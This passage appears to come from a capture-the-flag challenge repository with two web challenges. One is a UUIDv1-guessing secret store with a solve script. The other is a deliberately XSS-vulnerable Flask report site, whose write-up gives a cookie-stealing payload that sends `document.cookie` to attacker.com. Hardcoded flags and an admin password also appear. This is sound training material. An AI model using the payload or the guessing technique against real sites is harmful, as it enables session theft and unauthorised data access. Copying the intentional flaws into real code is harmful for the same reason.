find interesting timestamps, then the set of clock_seqs and node_ids. We can futher use this information to construct valid uuids to fetch secrets.\n\n1. We notice the presence of a `/api/stats` endpoint which gives high precision timestamps when a few secrets were created. These will be mapped to the `T` section of the uuid.\n2. We can then create a large number of secrets to try and identify `clock_seq` and `node_ids`, after hitting this endpoint a few times, we notice we have 4 possible values.\n```\nCCCC-NNNNNNNNNNNN\n8421-00155d1c46cb\n8b1e-0401b7194601\n880f-000d3acaef36\nbb4c-0050568f00a9\n```\n3. We can construct a UUID using this information with 4 possible guesses for each timestamp we initially identified.\n4. We try to get the secrets associated with these uuids, as there is no auth we will be able to retrieve the secret if our guess is valid.\n5. Our flag is one of these secrets.\n\n\n## Running\n`docker-compose up`\n"
  },
  {
    "path": "web/secret_bin/challenge.yml",
    "content": "version: \"0.1\"\nid: secret-bin\nname: Secret Bin\ncategory: web\ndescription: |\n  Since everyone loves dumping their secrets into pastebin, I decided to make a dedicated service for it instead!\n  I've added few secrets myself to inflate our marketing numbers, I wonder if you can find them.\n\n  Author: todo#7331\n\nconnection_info: ${url}\n\nfiles:\n  - publish/app.py\n  - publish/secret_manager.py\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{cant_guess_this_one_9ed609c7-8978-4337-a7de-f618b859b998}"
  },
  {
    "path": "web/secret_bin/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  redis:\n    image: redis\n    volumes:\n      - ./init.rdb:/data/dump.rdb\n\n  challenge:\n    image: ctf.local/web/secret_bin\n    build: .\n    ports:\n      - 1337:1337\n    read_only: true\n    environment:\n      REDIS_HOST: redis\n"
  },
  {
    "path": "web/secret_bin/flag.txt",
    "content": "DUCTF{cant_guess_this_one_9ed609c7-8978-4337-a7de-f618b859b998}"
  },
  {
    "path": "web/secret_bin/publish/app.py",
    "content": "import uuid\n\nfrom starlette.applications import Starlette\nfrom starlette.responses import PlainTextResponse, JSONResponse\nfrom starlette.routing import Route, Mount\nfrom starlette.staticfiles import StaticFiles\n\nimport secret_manager\n\n\nasync def get_secret(request):\n    secret_id = request.path_params['secret']\n    secret = await secret_manager.get_secret(secret_id)\n\n    return PlainTextResponse(secret, status_code=(404 if secret is None else 200))\n\n\nasync def create_secret(request):\n    secret = await request.body()\n    secret_id = await secret_manager.create_secret(secret)\n\n    return PlainTextResponse(str(secret_id))\n\n\nasync def get_stats(request):\n    return JSONResponse({\n        \"stats\": await secret_manager.get_metadata()\n    })\n\n\napp = Starlette(\n    routes=[\n        Mount(\"/api\", routes=[\n            Route(\"/secret/{secret:uuid}\", get_secret,    methods=[\"get\"]),\n            Route(\"/secret\",               create_secret, methods=[\"post\"]),\n            Route(\"/stats\",                get_stats,     methods=[\"get\"])\n        ]),\n        Mount('/', app=StaticFiles(directory='static', html=True), name=\"static\"),\n    ]\n)\n"
  },
  {
    "path": "web/secret_bin/publish/secret_manager.py",
    "content": "import os\nimport uuid\nimport random\n\nimport aioredis\n\nredis = aioredis.from_url(f\"redis://{os.environ.get('REDIS_HOST', 'localhost')}\")\n\n\nasync def get_secret(secret_id: uuid.UUID):\n    return await redis.get(secret_id.int)\n\n\nasync def create_secret(secret_content: bytes):\n    secret_id = make_secret_id()\n    await redis.set(secret_id.int, secret_content)\n    return secret_id\n\n\nasync def get_metadata():\n    return {\n        \"past_week\": list(sorted(get_past_week_secrets())),\n        \"total_secret_count\": await redis.dbsize()\n    }\n\ndef get_past_week_secrets():\n    return [\n        __stub_get_uuid_time_as_timestamp(uuid_key) for uuid_key in __stub_get_past_week_secret_uuids()\n    ]\n\ndef make_secret_id():\n    return __stub_generate_uuid1()\n\n\n# Stub function signatures\nfrom typing import List\ndef __stub_generate_uuid1() -> uuid.UUID:\n    \"\"\"Stubbed since it contains infra magic, basically just returns a uuidv1\"\"\"\n    # uuid.uuidv1()\n    pass\n\ndef __stub_get_past_week_secret_uuids() -> List[uuid.UUID]:\n    \"\"\"Stubbed since it contains infra magic, basically just returns a list of uuidv1s\"\"\"\n    # await aioredis.lrange()\n    pass\n\ndef __stub_get_uuid_time_as_timestamp(uuid: uuid.UUID) -> float:\n    # return magic(uuid.time)\n    pass\n"
  },
  {
    "path": "web/secret_bin/requirements.txt",
    "content": "aioredis==2.0.0\nanyio==3.3.0\nasgiref==3.4.1\nasync-timeout==4.0.0a3\nclick==8.0.1\nh11==0.12.0\nidna==3.2\nsniffio==1.2.0\nstarlette==0.16.0\ntyping-extensions==3.10.0.0\nuvicorn==0.14.0\n"
  },
  {
    "path": "web/secret_bin/solve/solve.py",
    "content": "import uuid\nimport itertools\n\nimport requests\n\n\nCHALLENGE_URL = 'http://localhost:1337'\n\n# 1. Get the timestamps we are interested in searching through\nuuid_timestamps = requests.get(f\"{CHALLENGE_URL}/api/stats\").json()['stats']['past_week']\n\n# 2. Create some secrets so we know what the uuids might look like\nuuids = [\n    requests.post(f\"{CHALLENGE_URL}/api/secret\", data=\"secret\").text.strip()\n    for _ in range(24)\n]\n\n# 3. Extract the clock_seq and nodes from the generated uuids\nclock_seq_node_part = set(u[-17:] for u in uuids)\n\n# 4. Construct some uuids using\npossible_uuids = []\n\nfor clock_node, timestamp in itertools.product(clock_seq_node_part, uuid_timestamps):\n    # We need to work around floating point errors....\n    timestamp_100ns = str(timestamp).replace('.', '')\n    timestamp_100ns = timestamp_100ns + '0' * (17 - len(timestamp_100ns))\n\n    uuid_timestamp = hex(int(timestamp_100ns) + 122192928000000000)[2:]\n    generated_uuid = \"-\".join([\n        uuid_timestamp[-8:],\n        uuid_timestamp[3:-8],\n        '1' + uuid_timestamp[:3],\n        clock_node\n    ])\n\n    possible_uuids.append(generated_uuid)\n\n# 5. Send a request for each uuid\nsecrets = {}\nfor possible_uuid in possible_uuids:\n    resp = requests.get(f\"{CHALLENGE_URL}/api/secret/{possible_uuid}\")\n    if resp.ok:\n        secrets[possible_uuid] = resp.text\n\n# 6. Get the flag\nfor secret_id, secret in secrets.items():\n    print(secret_id, secret)\n\nprint('FLAG', next(secret for secret in secrets.values() if secret.startswith('DUCTF{')))\n"
  },
  {
    "path": "web/secret_bin/src/app.py",
    "content": "import uuid\n\nfrom starlette.applications import Starlette\nfrom starlette.responses import PlainTextResponse, JSONResponse\nfrom starlette.routing import Route, Mount\nfrom starlette.staticfiles import StaticFiles\n\nimport secret_manager\n\n\nasync def get_secret(request):\n    secret_id = request.path_params['secret']\n    secret = await secret_manager.get_secret(secret_id)\n\n    return PlainTextResponse(secret, status_code=(404 if secret is None else 200))\n\n\nasync def create_secret(request):\n    secret = await request.body()\n    secret_id = await secret_manager.create_secret(secret)\n\n    return PlainTextResponse(str(secret_id))\n\n\nasync def get_stats(request):\n    return JSONResponse({\n        \"stats\": await secret_manager.get_metadata()\n    })\n\n\napp = Starlette(\n    routes=[\n        Mount(\"/api\", routes=[\n            Route(\"/secret/{secret:uuid}\", get_secret,    methods=[\"get\"]),\n            Route(\"/secret\",               create_secret, methods=[\"post\"]),\n            Route(\"/stats\",                get_stats,     methods=[\"get\"])\n        ]),\n        Mount('/', app=StaticFiles(directory='static', html=True), name=\"static\"),\n    ]\n)\n"
  },
  {
    "path": "web/secret_bin/src/secret_manager.py",
    "content": "import os\nimport uuid\nimport random\n\nimport aioredis\n\n# Some random clock_seq / node ids for uuidv1 generation\nNODES = [\n    (0x8421, 0x00155d1c46cb),\n    (0x8b1e, 0x0401b7194601),\n    (0x880f, 0x000d3acaef36),\n    (0xbb4c, 0x0050568f00a9)\n]\n# Hard code the initial secret keys, just in case we crash and restart\n#   the initial list won't pull from redis which may have many keys at that point\nINITIAL_SECRET_KEYS = [\n    b'62253530118085196351813532537672363830',\n    b'62256146548924067420990329290830577833',\n    b'62250768858165249211119722343915253558',\n    b'62266243465183047778745480567663030070',\n    b'62247122223529205166453304296513138486',\n    b'62249810672767801701912973581122207913',\n    b'62258417307289888747194826504613414603',\n    b'62254842215684595083508419219033878326',\n    b'62256837101588541745264687062159388470',\n    b'62245445359469590761748136938804277046',\n    b'62262624798088371269610632296632239617',\n    b'62252908018553134351926855588316643497',\n    b'62259031959374674410209041010215546678',\n    b'62265400794446546062967671842571830987',\n    b'62264652880592411407903952579316084534',\n    b'62257771518537234979082664574866507265',\n    b'62263399411833273231818885120477818678',\n    b'62264033791730524946590395882245015041',\n    b'62261917845194256488705885848606535478',\n    b'62238348576040538051664640390739198121',\n    b'62251531587685774033897735391525138230',\n    b'62254158238957609443174081711852945577',\n    b'62259939517976275308196175056166645558',\n    b'62252236084506850872104453392696100555',\n    b'62246420499693816330907345835487330473',\n    b'62249140640197418568409944979934216361',\n    b'62247864749868288855517338548158005417',\n    b'62255471208066795831776681922197913769',\n    b'62260682836596984136431876940865553921',\n    b'62261357305944468072209519082900226217',\n    b'62244584703940198308469257526228633089',\n    b'62248448186057043898099377405808279721'\n]\nGREGORIAN_TO_UNIX_100NS = 122192928000000000\n\n\nredis = aioredis.from_url(f\"redis://{os.environ.get('REDIS_HOST', 'localhost')}\")\n\n\nasync def get_secret(secret_id: uuid.UUID):\n    return await redis.get(secret_id.int)\n\n\nasync def create_secret(secret_content: bytes):\n    secret_id = make_secret_id()\n    await redis.set(secret_id.int, secret_content)\n    return secret_id\n\n\nasync def get_metadata():\n    return {\n        \"past_week\": list(sorted([\n            (uuid.UUID(int=int(secret_id)).time - GREGORIAN_TO_UNIX_100NS) / (1000 * 1000 * 10)\n            for secret_id in INITIAL_SECRET_KEYS\n        ])),\n        \"total_secret_count\": await redis.dbsize()\n    }\n\ndef make_secret_id():\n    # Simulate some nodes to artificially inflate the search space\n    #  and keep consistency even if we scale up\n    clock_seq, node = random.choice(NODES)\n    return uuid.uuid1(clock_seq=clock_seq, node=node)\n"
  },
  {
    "path": "web/secret_bin/src/static/index.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n    <title>Secrets Bin | Home</title>\n    <meta charset=\"utf-8\">\n    <link rel=\"icon\" href=\"data:,\">\n\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/chota@latest\">\n</head>\n\n<body style=\"width: 100vw; padding: 3em;\">\n    <nav class=\"nav\">\n        <div class=\"nav-left\">\n            <a class=\"brand\">Secrets Bin</a>\n            <div class=\"tabs\">\n                <a class=\"active\" href=\"/\">Home</a>\n                <a href=\"secrets.html\">Secrets</a>\n            </div>\n        </div>\n    </nav>\n\n    <main class=\"container is-center\" style=\"padding: 2em; margin-top: 2em\">\n        <section>\n            <h1>Secrets Bin</h1>\n            <p>Secrets Bin is a brand new secret storage and sharing website.</p>\n            <p>We utilize advanced <a href=\"https://en.wikipedia.org/wiki/Ostrich_algorithm\">algorithms</a>\n                to ensure your secrets are stored safely and securely. Your secrets are also never associated with you,\n                so even if a hacker steals your secrets, they won't know where to use them!</p>\n            <p>We've currently stored <span id=\"secret-count\">over 10</span> for secrets our users and counting.</p>\n            <a href=\"secrets.html\" class=\"button primary\">Get Started!</a>\n        </section>\n    </main>\n\n    <script>\n        (function() {\n            const secretCount = document.querySelector('#secret-count');\n            const getCountStoredSecrets = () => fetch(`/api/stats`).then(r => r.json()).then(j => {\n                secretCount.textContent = j.stats.total_secret_count;\n            });\n\n            setInterval(getCountStoredSecrets, 10000);\n            getCountStoredSecrets();\n        })()\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "web/secret_bin/src/static/secrets.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n    <title>Secrets Bin | Secrets</title>\n    <meta charset=\"utf-8\">\n    <link rel=\"icon\" href=\"data:,\">\n\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/chota@latest\">\n</head>\n\n<body style=\"width: 100vw; padding: 3em\">\n    <nav class=\"nav\">\n        <div class=\"nav-left\">\n            <a class=\"brand\">Secrets Bin</a>\n            <div class=\"tabs\">\n                <a href=\"/\">Home</a>\n                <a class=\"active\" href=\"secrets.html\">Secrets</a>\n            </div>\n        </div>\n    </nav>\n\n    <main class=\"container\" style=\"padding: 2em; margin-top: 2em\">\n        <section style=\"margin-bottom: 2em; display: none;\" id=\"sect-shared\">\n            <h2>Shared Secret</h2>\n            <pre></pre>\n            <form style=\"display: flex; gap: 0.5rem\">\n                <input type=\"hidden\" name=\"id\">\n                <input type=\"text\" placeholder=\"Name\" name=\"name\" style=\"max-width: 24rem;\" required>\n                <button role=\"form\" class=\"button primary\">Add to my secrets</button>\n            </form>\n        </section>\n        <section id=\"sect-secrets\">\n            <h2>My Secrets</h2>\n            <form>\n                <p class=\"grouped\">\n                    <input placeholder=\"Name\" name=\"name\" required>\n                    <input placeholder=\"Value\" name=\"value\" required>\n                    <button role=\"form\" class=\"button primary\">Add</button>\n                </p>\n            </form>\n            <table>\n                <thead>\n                    <tr>\n                        <th>Name</th>\n                        <th>Value</th>\n                        <th>Share</th>\n                    </tr>\n                </thead>\n                <tbody></tbody>\n            </table>\n        </section>\n    </main>\n\n    <script>\n        (function() {\n            const sectShared = document.querySelector('#sect-shared');\n            const sectSecrets = document.querySelector('#sect-secrets');\n\n            class SecretsManager {\n                LSKEY_MY_SECRETS = 'mySecrets';\n                LSKEY_SHARED_SECRETS = 'sharedSecrets';\n\n                constructor() {\n                    this.mySecrets = JSON.parse(localStorage.getItem(this.LSKEY_MY_SECRETS) || '[]');\n                    this.sharedSecrets = JSON.parse(localStorage.getItem(this.LSKEY_SHARED_SECRETS) || '[]');\n                }\n\n                syncToStorage() {\n                    localStorage.setItem(this.LSKEY_MY_SECRETS, JSON.stringify(this.mySecrets));\n                    localStorage.setItem(this.LSKEY_SHARED_SECRETS, JSON.stringify(this.sharedSecrets));\n                }\n\n                addSharedSecret(id, name) {\n                    this.sharedSecrets.push({id, name});\n                    this.syncToStorage();\n                }\n\n                addMySecret(id, name) {\n                    this.mySecrets.push({id, name});\n                    this.syncToStorage();\n                }\n\n                async getSecret(id) {\n                    return await (await fetch(`/api/secret/${id}`)).text();\n                }\n\n                async createSecret(value) {\n                    return await (await fetch(\n                        `/api/secret`,\n                        {method: 'POST', body: value}\n                    )).text();\n                }\n\n                get secrets() {\n                    return [\n                        ...this.mySecrets.map(s => ({...s, type: 'my'})),\n                        ...this.sharedSecrets.map(s => ({...s, type: 'shared'}))\n                    ];\n                }\n            }\n\n            function createElement(type, {text = '', classList = [], attrs={}}={}, children=[]) {\n                const elem = document.createElement(type);\n\n                elem.textContent = text;\n                classList.forEach(cls => elem.classList.add(cls));\n                Object.entries(attrs).forEach(([k, v]) => elem.setAttribute(k, v));\n\n                children.forEach(child => elem.appendChild(child));\n\n                return elem;\n            }\n\n            const secretsManager = new SecretsManager();\n\n            function populateSharedSecret() {\n                const searchParams = new URLSearchParams(window.location.search);\n                const sharedSecretId = searchParams.get('shared');\n                if(!sharedSecretId) { return; }\n\n                secretsManager.getSecret(sharedSecretId).then(secret => {\n                    sectShared.querySelector('pre').textContent = secret;\n                    sectShared.querySelector('[name=\"id\"]').value = sharedSecretId;\n                    sectShared.style.display = 'block';\n                });\n            }\n\n            function populateMySecrets() {\n                function revealer(id) {\n                    const wrapper = createElement('div');\n                    const btn = createElement('btn', {\n                        text: 'Reveal',\n                        classList: ['button', 'outline', 'primary', 'is-full-width']\n                    });\n\n                    btn.onclick = (e) => {\n                        secretsManager.getSecret(id).then(secret => {\n                            wrapper.innerHTML = '';\n\n                            wrapper.appendChild(createElement('pre', {\n                                text: secret\n                            }));\n                        })\n                    }\n\n                    wrapper.appendChild(btn);\n                    return wrapper;\n                }\n\n                const tbody = sectSecrets.querySelector('tbody');\n                tbody.innerHTML = '';\n\n                secretsManager.secrets.map(({id, name, type}) => createElement('tr', {}, [\n                    createElement('td', {text: name}, type === 'shared' ? [createElement('small', {text: ' (Shared)'})] : []),\n                    createElement('td', {}, [revealer(id)]),\n                    createElement('td', {}, [\n                        createElement('a', {text: 'Share', attrs: {href: `?shared=${encodeURIComponent(id)}`}})\n                    ])\n                ])).forEach(tr => tbody.appendChild(tr));\n            }\n\n            sectShared.querySelector('form').addEventListener('submit', function(e) {\n                e.preventDefault();\n\n                const secretInfo = new FormData(this);\n                secretsManager.addSharedSecret(secretInfo.get('id'), secretInfo.get('name'));\n                window.location.search = '';\n            });\n\n            sectSecrets.querySelector('form').addEventListener('submit', function(e) {\n                e.preventDefault();\n\n                const secretInfo = new FormData(this);\n                secretsManager.createSecret(secretInfo.get('value')).then(secretId => {\n                    secretsManager.addMySecret(secretId, secretInfo.get('name'));\n                    populateMySecrets();\n                });\n            })\n\n            populateSharedSecret();\n            populateMySecrets();\n        })();\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/Dockerfile",
    "content": "FROM python:3.9-slim\r\n\r\n# Set Admin Password and Flag Environment Variables\r\nENV ADMIN_PW=KJDF4wn90sdfjUOIDFndfs2389dsfgj\r\nENV FLAG=DUCTF{xxX_x55_4_1337_h4x0rz_Xxx}\r\n\r\n\r\n# Make sure we have the correct directories\r\nRUN mkdir /app\r\n\r\n# Copy challenge files and driver\r\nCOPY ./challenge/web /app/\r\n\r\n# Install Requirements\r\nCOPY ./challenge/requirements.txt /app/requirements.txt \r\nWORKDIR /app\r\nRUN pip3 install -r requirements.txt\r\n\r\n# Run create_db script\r\nRUN rm -rf /app/db.sqlite\r\nRUN python3 create_db.py\r\n\r\nCMD [\"gunicorn\", \"-w\", \"2\", \"-b\", \"0.0.0.0:5000\", \\\r\n    \"--access-logfile\", \"-\", \\\r\n    \"--access-logformat\", \"%({x-forwarded-for}i)s %(l)s %(u)s %(t)s \\\"%(r)s\\\" %(s)s %(b)s \\\"%(f)s\\\" \\\"%(a)s\\\"\", \\\r\n    \"--forwarded-allow-ips=*\", \"app:app\"]\r\n"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/README.md",
    "content": "# X1337 Sk1d R3p0rt3r\r\n---\r\n**Author:** Xesh\r\n\r\n**Category:** web\r\n\r\n**Difficulty:** medium\r\n\r\n---\r\n## Description\r\n\tPesky sk1dz everywhere, they are being taken offline left right and centre! It looks like th3 sk1dz have been reporting eachother on this site, something something cyber justice?\r\n---\r\n## Installation\r\nModify the environment variables within the dockerfiles to change the admin password and flag.\r\n\r\n|Filename|Variables|\r\n|-|-|\r\n|Dockerfile|ADMIN_PW,FLAG|\r\n|docker-compose|ADMIN_PW|\r\n|challenge.yml|FLAG|\r\n\r\n---\r\n## TODO\r\n* Assign propper difficulty\r\n"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/WRITEUP.md",
    "content": "# x1337 Sk1d R3p0rt3r Write Up\r\n\r\n1. Register an account\r\n2. Change your username to `*/</script`\r\n3. Create a new note with whatever data\r\n4. Change your username to `<script>/*`\r\n5. Create a new note that follows this syntax: `*/ <PAYLOAD> /*` where `<PAYLOAD>` is the javascript snippet to fetch the admin session or fetching the contents of the note id #1.\r\n\tNote: Strings must use the \\` to be declared as HTML encoding will break the script parsing\r\n\t```*/ new Image().src=`http://attacker.com/?c=`+document.cookie /*```\r\n6. Click \"send to admin\" and wait for the payload to execute thus sending you the flag\r\n"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/requirements.txt",
    "content": "flask\r\nflask-login\r\nflask-wtf\r\nflask_sqlalchemy\r\nflask_limiter\r\nrequests\r\ngunicorn\r\n"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/app.py",
    "content": "#!/usr/bin/python3\r\n\r\nimport os\r\nimport subprocess\r\nimport requests\r\nfrom time import sleep\r\nfrom random import randint\r\nfrom hashlib import sha256\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom flask import Flask, request, render_template, flash, abort, redirect, url_for, Markup\r\nfrom flask_login import LoginManager, login_required, login_user, logout_user, current_user, AnonymousUserMixin, UserMixin\r\nfrom flask_wtf import FlaskForm\r\nfrom flask_limiter import Limiter\r\nfrom flask_limiter.util import get_remote_address\r\nfrom wtforms import StringField, PasswordField, BooleanField, SubmitField, TextAreaField\r\nfrom wtforms.validators import DataRequired\r\n\r\nclass LoginForm(FlaskForm):\r\n\tusername = StringField('Username', validators=[DataRequired()])\r\n\tpassword = PasswordField('Password', validators=[DataRequired()])\r\n\tloginbtn = SubmitField('Sign In')\r\n\r\nclass RegisterForm(FlaskForm):\r\n\tusername = StringField('Username', validators=[DataRequired()])\r\n\tpassword = PasswordField('Password', validators=[DataRequired()])\r\n\tsubmit = SubmitField('Register')\r\n\r\nclass ReportForm(FlaskForm):\r\n\tmessage = TextAreaField('Message', validators=[DataRequired()])\r\n\tsubmit = SubmitField('Report')\r\n\r\nclass EditForm(FlaskForm):\r\n\tusername = StringField('Username', validators=[DataRequired()])\r\n\tsubmit = SubmitField('Edit Profile')\r\n\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = 'a0f67bd2a7d4ec662e2697900cf871bff1175114fae543e110e71883eacfa8e8'\r\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite'\r\napp.config['SESSION_COOKIE_HTTPONLY']=False\r\n\r\ndb = SQLAlchemy()\r\ndb.init_app(app)\r\n\r\nlogin_manager = LoginManager()\r\nlogin_manager.init_app(app)\r\n\r\nlimiter = Limiter(\r\n\tapp,\r\n\tkey_func=get_remote_address,\r\n\tdefault_limits=[\"36000 per hour\"]\r\n)\r\n\r\nclass Reports(db.Model):\r\n\t__tablename__ = 'reports'\r\n\r\n\tid = db.Column(db.Integer, primary_key=True)\r\n\tusername = db.Column(db.String(10))\r\n\tuser_id = db.Column(db.Integer, db.ForeignKey('user.id'))\r\n\tuser = db.relationship(\"User\", backref=db.backref(\"reports\", uselist=True))\r\n\tmessage = db.Column(db.String(256))\r\n\r\nclass User(UserMixin, db.Model):\r\n\t__tablename__ = 'user'\r\n\r\n\tid = db.Column(db.Integer, primary_key=True)\r\n\tusername = db.Column(db.String(10))\r\n\tpassword = db.Column(db.String(64))\r\n\tprivilege = db.Column(db.Boolean, default=False)\r\n\r\n\tdef is_active(self):\r\n\t\treturn True\r\n\r\n\tdef get_id(self):\r\n\t\treturn self.id\r\n\r\n\tdef get_username(self):\r\n\t\treturn self.username\r\n\r\n\tdef get_privs(self):\r\n\t\treturn self.privilege\r\n\r\n\tdef is_authenticated(self):\r\n\t\treturn True\r\n\r\n\tdef is_anonymous(self):\r\n\t\treturn False\r\n\r\nclass Anonymous(AnonymousUserMixin):\r\n\tdef is_active(self):\r\n\t\treturn True\r\n\r\n\tdef is_authenticated(self):\r\n\t\treturn False\r\n\r\n\tdef is_anonymous(self):\r\n\t\treturn True\r\n\r\ndef authenticate(user,pw):\r\n\tresult = None\r\n\tu = User.query.filter_by(username=user).first()\r\n\tif u != None:\r\n\t\tif u.password == sha256(pw.encode()).hexdigest():\r\n\t\t\tresult = u\r\n\tsleep(randint(1,3))\r\n\treturn result\r\n\r\n\r\n@login_manager.user_loader\r\ndef load_user(user_id):\r\n\tuser = User.query.filter_by(id=user_id).first()\r\n\tif user:\r\n\t\treturn user\r\n\tanon = Anonymous()\r\n\treturn anon\r\n\r\n\r\n@app.errorhandler(401)\r\ndef _unauthorized(e):\r\n\treturn redirect(url_for('_login'))\r\n\r\n@app.errorhandler(405)\r\ndef _methoderror(e):\r\n\treturn redirect(url_for('_index'))\r\n\r\n@app.route('/')\r\n@limiter.exempt\r\ndef _index():\r\n\treturn render_template('index.html', title='Home', current_user=current_user)\r\n\r\n@app.route('/login', methods=['GET','POST'])\r\n@limiter.limit(\"500 per minute\")\r\ndef _login():\r\n\t# Admin Login\r\n\ttoken = request.args.get('token')\r\n\tif token == os.environ.get('ADMIN_PW'):\r\n\t\tadmin = User.query.filter_by(privilege=True).first()\r\n\t\tlogin_user(admin)\r\n\t\treturn \"admin\", 200\r\n\t# User Login\r\n\tform = LoginForm()\r\n\tif form.validate_on_submit():\r\n\t\tuser = authenticate(request.form.get('username'), request.form.get('password'))\r\n\t\tif user == None:\r\n\t\t\tflash('Invalid username or password!', 'alert-danger')\r\n\t\t\treturn render_template('login.html', title='Login', form=form, current_user=current_user)\r\n\t\tlogin_user(user)\r\n\t\tflash('Logged in successfully.', 'alert-success')\r\n\t\treturn redirect(url_for('_dashboard'))\r\n\treturn render_template('login.html', title='Login', form=form, current_user=current_user)\r\n\r\n@app.route('/register', methods=['GET', 'POST'])\r\n@limiter.exempt\r\ndef _register():\r\n\tform = RegisterForm()\r\n\tif request.method == 'POST':\r\n\t\tif form.validate_on_submit():\r\n\t\t\tuname = request.form.get('username')\r\n\t\t\tif len(uname) > 10:\r\n\t\t\t\tflash('Username must be 10 characters or shorter!', 'alert-danger')\r\n\t\t\t\treturn render_template('register.html', title='Register', form=form, current_user=current_user)\r\n\t\t\tpword = request.form.get('password')\r\n\t\t\tu = User.query.filter_by(username=uname).first()\r\n\t\t\tif u:\r\n\t\t\t\tflash('User Exists', 'alert-danger')\r\n\t\t\t\treturn redirect(url_for('_register'))\r\n\t\t\tdel(u)\r\n\t\t\tu = User(username=uname, password=sha256(pword.encode()).hexdigest(), privilege=False)\r\n\t\t\tdb.session.add(u)\r\n\t\t\tdb.session.commit()\r\n\t\t\tflash('User registered, you can now login', 'alert-success')\r\n\t\t\treturn redirect(url_for('_login'))\r\n\t\telse:\r\n\t\t\tflash('Missing Arguments', 'alert-danger')\r\n\treturn render_template('register.html', title='Register', form=form, current_user=current_user)\r\n\r\n@app.route('/dashboard')\r\n@login_required\r\n@limiter.exempt\r\ndef _dashboard():\r\n\treportform = ReportForm()\r\n\teditform = EditForm()\r\n\treturn render_template('dashboard.html', title='Dashboard', reportform=reportform, editform=editform, current_user=User.query.filter_by(id=current_user.get_id()).first())\r\n\r\n@app.route('/edit', methods=['POST'])\r\n@login_required\r\n@limiter.exempt\r\ndef _edit():\r\n\tform = EditForm()\r\n\tif form.validate_on_submit():\r\n\t\tuname = request.form.get('username')\r\n\t\tif len(uname) > 10:\r\n\t\t\t\tflash('Username must be 10 characters or shorter!', 'alert-danger')\r\n\t\t\t\treturn redirect(url_for('_dashboard'))\r\n\t\tu = current_user\r\n\t\tu.username = uname\r\n\t\tdb.session.commit()\r\n\t\tflash('Username Changed!', 'alert-success')\r\n\t\treturn redirect(url_for('_dashboard'))\r\n\r\n@app.route('/report', methods=['POST'])\r\n@login_required\r\n@limiter.exempt\r\ndef _report():\r\n\tform = ReportForm()\r\n\tif form.validate_on_submit():\r\n\t\tmsg = request.form.get('message')\r\n\t\tif len(msg) > 256:\r\n\t\t\tflash('Message Too Long! >:(','alert-danger')\r\n\t\t\treturn redirect(url_for('_dashboard'))\r\n\t\tusername=current_user.username+'>'\r\n\t\treport = Reports(username=username, user_id=current_user.id, message=msg)\r\n\t\tdb.session.add(report)\r\n\t\tdb.session.commit()\t\r\n\t\tflash('Sk1D Rep0rt3d >:)', 'alert-success')\r\n\t\treturn redirect(url_for('_view_report',id=report.id))\r\n\r\n@app.route('/send2admin/<int:id>', methods=['GET'])\r\n@login_required\r\n@limiter.limit(\"4 per minute\")\r\ndef _send2admin(id):\r\n\treport = Reports.query.filter_by(id=id).first()\r\n\tif report == None:\r\n\t\treturn redirect(url_for('_dashboard'))\r\n\t### Admin Views it >:)\r\n\t## INFRA: Update this when deploying just incase it needs to be localhost\r\n\t###\r\n\trequests.post('http://localhost:8000/visit', json={\r\n\t\t'url': 'http://localhost:5000'+url_for('_view_report',id=id)\r\n\t\t}, headers={\r\n\t\t'X-SSRF-Protection': '1'\r\n\t})\r\n\tflash('The admin will take action shortly >:)', 'alert-success')\r\n\treturn redirect(url_for('_dashboard'))\r\n\r\n\r\n@app.route('/report/<int:id>')\r\n@login_required\r\n@limiter.exempt\r\ndef _view_report(id):\r\n\treport = Reports.query.filter_by(id=id).first()\r\n\tif report == None or not (report in current_user.reports or current_user.get_privs()):\r\n\t\treturn redirect(url_for('_dashboard'))\r\n\tusername = Markup(report.user.username)\r\n\tprevious_reports = []\r\n\tfor prep in Reports.query.filter_by(user_id=report.user.id).order_by(Reports.id)[::-1][1:3]:\r\n\t\tprevious_reports.append([Markup(prep.username), Markup.escape(prep.message)])\r\n\treturn render_template('report_view.html', username=username, previous_reports=previous_reports, report=report, current_user=current_user)\r\n\r\n@app.route(\"/logout\")\r\n@login_required\r\ndef _logout():\r\n\tlogout_user()\r\n\tflash('Logged out!', 'alert-success')\r\n\treturn redirect(url_for('_index'))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tapp.run(host='0.0.0.0', port=5000, debug=False)\r\n"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/create_db.py",
    "content": "#!/usr/bin/python3\r\n\r\n\r\nimport os\r\nfrom flask import Flask, request, render_template\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom flask_login import LoginManager\r\nfrom urllib.parse import urlparse, urljoin\r\nfrom hashlib import sha256\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = os.urandom(32).hex()\r\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite'\r\n\r\ndb = SQLAlchemy(app)\r\n\r\nclass User(db.Model):\r\n    __tablename__ = 'user'\r\n\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    username = db.Column(db.String(10))\r\n    password = db.Column(db.String(64))\r\n    privilege = db.Column(db.Boolean, default=False)\r\n\r\nclass Reports(db.Model):\r\n\t__tablename__ = 'reports'\r\n\r\n\tid = db.Column(db.Integer, primary_key=True)\r\n\tusername = db.Column(db.String(10))\r\n\tuser_id = db.Column(db.Integer, db.ForeignKey('user.id'))\r\n\tuser = db.relationship(\"User\", backref=db.backref(\"reports\", uselist=True))\r\n\tmessage = db.Column(db.String(256))\r\n\r\ndb.create_all()\r\n\r\ndef create_admin(user, flag, db):\r\n\tpword = sha256(str(os.environ.get('ADMIN_PW')).encode()).hexdigest()\r\n\tu = User(username=user[0], 